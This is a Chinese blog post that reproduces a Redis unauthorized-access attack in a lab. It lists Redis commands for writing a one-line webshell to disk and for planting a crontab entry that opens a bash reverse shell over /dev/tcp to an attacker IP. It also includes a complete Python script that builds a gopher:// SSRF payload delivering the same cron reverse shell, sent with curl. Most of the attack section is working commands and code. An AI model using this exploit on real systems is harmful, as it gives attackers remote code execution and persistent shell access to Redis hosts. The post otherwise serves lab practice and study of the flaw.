3. redis未授权漏洞复现(写入linux计划任务反弹shell)

 

前提:

  1.靶机是Centos环境

  2.redis低版本,具体低于多少不清楚

 ——————主要几个命令操作——————

  flushall             //清空所有key值
  config get dir          //获取路径
  config set dir /**/**/       //设置路径
  set xxx '\n\n一句话木马\n\n'   //设置xxx值为一句话木马
  config set dbfilename 111.jsp /  /设置文件名
  save                //将xxx默认写入到111.jsp

方式一:直接用进入redis写入计划任务(失败,未成功反弹shell,失败原因:未知,到靶机系统查看文件也成功写入了,但是和下面使用脚本写的就是格式上有点不一样)

  1.set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.43.183/7777 0>&1\n\n'

  2.config set dir /var/spool/cron/
  3.config set dbfilename root
  4.save

  

 

 方式二:使用脚本写入(原理和上面同理,成功率高)

  ip是目标系统的,server_ip是接收shell的

import urllib
protocol="gopher://"
ip='192.168.43.144'
port='6379'
reverse_ip="192.168.43.183"
reverse_port="4444"
cron="\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1\n\n\n\n"%(reverse_ip,reverse_port)
filename="root"
path="/var/spool/cron"
passwd=""
cmd=["flushall",
     "set 1 {}".format(cron.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
"save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print payload

  1.改好脚本后运行:python2 redis.py

  

 

   2.curl命令执行

  

 

   3.监听成功

  

 

 

  

 

参考链接:

https://mp.weixin.qq.com/s/Vj24aRbr3P7Pg59HE3SpRQ

posted @ 2020-12-08 15:43  黑岗0x0001  阅读(3692)  评论(0编辑  收藏  举报